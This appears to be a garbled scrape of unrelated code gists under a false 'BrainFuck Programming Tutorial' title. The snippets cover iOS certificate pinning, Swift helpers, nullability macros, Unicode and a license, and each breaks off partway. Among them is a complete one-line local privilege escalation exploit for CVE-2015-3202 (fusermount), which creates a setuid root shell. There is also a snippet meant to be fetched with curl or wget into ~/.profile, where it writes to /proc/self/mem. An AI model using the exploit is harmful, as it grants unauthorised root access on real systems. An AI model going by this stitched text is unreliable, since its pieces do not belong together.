=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
BrainFuck Programming Tutorial by: Katie
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
| /* | |
| 1. Adhere to the NSURLSessionDelegate delegate | |
| 2. Initialize NSURLSession and specify self as delegate (e.g. [NSURLSession sessionWithConfiguration:defaultConfigObject delegate:self delegateQueue: [NSOperationQueue mainQueue]];) | |
| 3. Add the method below to your class | |
| 4. Change the certificate resource name | |
| */ | |
| - (void)URLSession:(NSURLSession *)session didReceiveChallenge:(NSURLAuthenticationChallenge *)challenge completionHandler:(void (^)(NSURLSessionAuthChallengeDisposition, NSURLCredential *))completionHandler | |
| { | |
| SecTrustRef serverTrust = challenge.protectionSpace.serverTrust; |
| # Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet. | |
| 12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890 | |
| a=/tmp/.$$;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202 | |
| # Here's how it works, $a holds the name of a shellscript to be executed as | |
| # root. | |
| a=/tmp/.$$; | |
| # $b is used twice, first to build the contents of shellscript $a, and then as |
| erase_sim: | |
| ./reset_sim.sh 2>/dev/null; true |
| // NSScanner+Swift.swift | |
| // A set of Swift-idiomatic methods for NSScanner | |
| // | |
| // (c) 2015 Nate Cook, licensed under the MIT license | |
| import Foundation | |
| extension NSScanner { | |
| // MARK: Strings |
| // Xcode 6.3 defines new language features to declare nullability | |
| #if __has_feature(nullability) | |
| #define PSPDF_ASSUME_NONNULL_BEGIN _Pragma("clang assume_nonnull begin") | |
| #define PSPDF_ASSUME_NONNULL_END _Pragma("clang assume_nonnull end") | |
| #define ps_nullable nullable | |
| #define ps_nonnull nonnull | |
| #define ps_null_unspecified null_unspecified | |
| #define ps_null_resettable null_resettable | |
| #define __ps_nullable __nullable | |
| #define __ps_nonnull __nonnull |
| let é = "precomposed character!" | |
| let é = "decomposed characters!" | |
| println(é) // prints "precomposed character!" | |
| println(é) // prints "decomposed characters!" |
| ''' | |
| The MIT License (MIT) | |
| Copyright (C) 2014, 2015 Seven Watt <info@sevenwatt.com> | |
| <http://www.sevenwatt.com> | |
| Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: | |
| The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. |
| # bash, dash, sh, ... | |
| # curl URL_OF_THIS_GIST >> ~/.profile | |
| # wget URL_OF_THIS_GIST -O - >> ~/.profile | |
| # | |
| # zsh | |
| # curl URL_OF_THIS_GIST >> ~/.zprofile | |
| # wget URL_OF_THIS_GIST -O - >> ~/.zprofile | |
| { | |
| echo 'with open("/proc/self/mem", "r+") as f:' | |
| echo ' f.seek(id(6*9)+16)' |
| find /Applications ~/Applications -maxdepth 3 -name "*.app" | while read a ; do echo; echo -n "$a ___ "; codesign -vd "${a}" 2>&1 | awk '/version/ {print $3}'; done | awk -F'___' '{print $2 " " $1}' | sort -u |